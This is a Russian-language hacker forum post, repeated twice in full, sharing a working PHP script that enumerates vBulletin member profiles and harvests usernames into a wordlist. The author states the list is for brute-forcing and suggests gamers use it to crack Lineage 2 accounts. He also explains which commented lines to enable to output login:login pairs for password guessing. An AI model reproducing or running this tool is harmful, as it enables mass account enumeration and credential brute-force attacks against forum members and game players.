.::Gh0st::.
04.05.2007, 17:50
vbulletin login grabber
Пригодится для сбора листов для брута.
Как вариант использования предлагал геймерам на allcheats.ru собирать логины с игровых форумов и потом брутить lineage2 акки. (для того, чтобы это было возможно - декомментируйте строки 87, 88, 94 - проверка на символы русской раскладки)
<?
//vbulletin login grabber final
//coded by .::Gh0st::.
set_time_limit(0);
error_reporting(0);
//getting vars
$host = $_POST["host"];
$dir = $_POST["dir"];
$startpos = intval($_POST["startpos"]);
$endpos = intval($_POST["endpos"]);
$list = $_POST["list"];
$all = intval($_POST["all"]);
//eof getting vars
//checking for needed vars (drawing form or start the task)
if (empty($host) or ($startpos == 0) or ($endpos == 0) or empty($list))
{ //drawing form
?>
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="POST">
<b>Host:</b><br>
<input type="text" name="host" value="forum.antichat.ru" style="width: 200px;"><br>
<b>Directory (don't fill if root directory):</b><br>
<input type="text" name="dir" value="" style="width: 200px;"><br>
<b>Start position:</b><br>
<input type="text" name="startpos" value="1" style="width: 200px;"><br>
<b>End position:</b><br>
<input type="text" name="endpos" value="15" style="width: 200px;"><br>
<b>Output filename:</b><br>
<input type="text" name="list" value="dic.txt" style="width: 200px;"><br>
<b>All grabbing mode (may take a lot of time):</b><br>
<select name="all">
<option value="0">disabled</option>
<option value="1">enabled</option>
</select><br>
<input type="submit" name="submit" value="start">
</form>
</html>
<?
} //eof drawing form
else
{ //start the task
echo "<b> starting task on $host.. wait for a while<br>";
if (empty($dir)) {$path = $host;}
else {
preg_match("/[\/a-z0-9]+(?:\/?[a-z0-9]+)+/i", $dir, $match);
$path = "$host$match[0]";
}
//user count
$sock = fsockopen($host, 80, $errno, $errstr, 10);
stream_set_timeout($sock, 60);
fputs($sock, "GET http://$path/index.php HTTP/1.1\r\n");
fputs($sock, "Host: $host\r\n");
fputs($sock, "Connection: Close\r\n\r\n");
while (!feof($sock))
{
$line = fgets($sock);
preg_match("/пользовател(?:и|ей):\s[0-9]{1,3}(?:,?[0-9]{1,3})+/i", $line, $count);
if ($count[0]) {break;}
}
fclose($sock);
echo "[i]$count[0]</b><br>";
$count[1] = preg_replace("/[а-я,:\s]+/i", "", $count[0]);
//eof user count
//getting logins
$handle = fopen($list, "w");
if ($all === 1) {$startpos = 1; $endpos = $count[1]; echo "<b>[i]switched to full mode</b><br>";}
else {echo "<b>[i]grabbing from $startpos to $endpos</b><br>";}
for ($u = $startpos; $u <= $endpos; $u++)
{
$sock = fsockopen($host, 80, $errno, $errstr, 10);
if (!$sock) {$u = $u - 1; echo "socket error at $u - retrying"; continue;}
stream_set_timeout($sock, 60);
fputs($sock, "GET http://$path/member.php?u=$u HTTP/1.1\r\n");
fputs($sock, "Host: $host\r\n");
fputs($sock, "Connection: Close\r\n\r\n");
while (!feof($sock))
{
$line = fgets($sock);
$nick = preg_split("/просмотр профиля:\s|<\/title>/i", $line);
if ($nick[1]) {break;}
}
if ($nick[1] === "\r\n") {if ($all === 1){$u = $u -1;} continue;}
//if (!preg_match("/[а-я]+/i", $nick[1]))
//{
$str = $nick[1]."\r\n";
//$str = $nick[1].":".$nick[1]."\r\n";
fwrite($handle, $str);
echo "$u: $str<br>";
$i = $i + 1;
//}
fclose($sock);
}
fclose($handle);
//eof getting logins
echo "<b> Task finished</b><br>";
echo "<b>[i]$i records grabbed</b>";
}
//eof
?>
С уважением, .::Gh0st::.
Пригодится для сбора листов для брута.
Как вариант использования предлагал геймерам на allcheats.ru собирать логины с игровых форумов и потом брутить lineage2 акки. (для того, чтобы это было возможно - декомментируйте строки 87, 88, 94 - проверка на символы русской раскладки)
<?
//vbulletin login grabber final
//coded by .::Gh0st::.
set_time_limit(0);
error_reporting(0);
//getting vars
$host = $_POST["host"];
$dir = $_POST["dir"];
$startpos = intval($_POST["startpos"]);
$endpos = intval($_POST["endpos"]);
$list = $_POST["list"];
$all = intval($_POST["all"]);
//eof getting vars
//checking for needed vars (drawing form or start the task)
if (empty($host) or ($startpos == 0) or ($endpos == 0) or empty($list))
{ //drawing form
?>
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="POST">
<b>Host:</b><br>
<input type="text" name="host" value="forum.antichat.ru" style="width: 200px;"><br>
<b>Directory (don't fill if root directory):</b><br>
<input type="text" name="dir" value="" style="width: 200px;"><br>
<b>Start position:</b><br>
<input type="text" name="startpos" value="1" style="width: 200px;"><br>
<b>End position:</b><br>
<input type="text" name="endpos" value="15" style="width: 200px;"><br>
<b>Output filename:</b><br>
<input type="text" name="list" value="dic.txt" style="width: 200px;"><br>
<b>All grabbing mode (may take a lot of time):</b><br>
<select name="all">
<option value="0">disabled</option>
<option value="1">enabled</option>
</select><br>
<input type="submit" name="submit" value="start">
</form>
</html>
<?
} //eof drawing form
else
{ //start the task
echo "<b> starting task on $host.. wait for a while<br>";
if (empty($dir)) {$path = $host;}
else {
preg_match("/[\/a-z0-9]+(?:\/?[a-z0-9]+)+/i", $dir, $match);
$path = "$host$match[0]";
}
//user count
$sock = fsockopen($host, 80, $errno, $errstr, 10);
stream_set_timeout($sock, 60);
fputs($sock, "GET http://$path/index.php HTTP/1.1\r\n");
fputs($sock, "Host: $host\r\n");
fputs($sock, "Connection: Close\r\n\r\n");
while (!feof($sock))
{
$line = fgets($sock);
preg_match("/пользовател(?:и|ей):\s[0-9]{1,3}(?:,?[0-9]{1,3})+/i", $line, $count);
if ($count[0]) {break;}
}
fclose($sock);
echo "[i]$count[0]</b><br>";
$count[1] = preg_replace("/[а-я,:\s]+/i", "", $count[0]);
//eof user count
//getting logins
$handle = fopen($list, "w");
if ($all === 1) {$startpos = 1; $endpos = $count[1]; echo "<b>[i]switched to full mode</b><br>";}
else {echo "<b>[i]grabbing from $startpos to $endpos</b><br>";}
for ($u = $startpos; $u <= $endpos; $u++)
{
$sock = fsockopen($host, 80, $errno, $errstr, 10);
if (!$sock) {$u = $u - 1; echo "socket error at $u - retrying"; continue;}
stream_set_timeout($sock, 60);
fputs($sock, "GET http://$path/member.php?u=$u HTTP/1.1\r\n");
fputs($sock, "Host: $host\r\n");
fputs($sock, "Connection: Close\r\n\r\n");
while (!feof($sock))
{
$line = fgets($sock);
$nick = preg_split("/просмотр профиля:\s|<\/title>/i", $line);
if ($nick[1]) {break;}
}
if ($nick[1] === "\r\n") {if ($all === 1){$u = $u -1;} continue;}
//if (!preg_match("/[а-я]+/i", $nick[1]))
//{
$str = $nick[1]."\r\n";
//$str = $nick[1].":".$nick[1]."\r\n";
fwrite($handle, $str);
echo "$u: $str<br>";
$i = $i + 1;
//}
fclose($sock);
}
fclose($handle);
//eof getting logins
echo "<b> Task finished</b><br>";
echo "<b>[i]$i records grabbed</b>";
}
//eof
?>
С уважением, .::Gh0st::.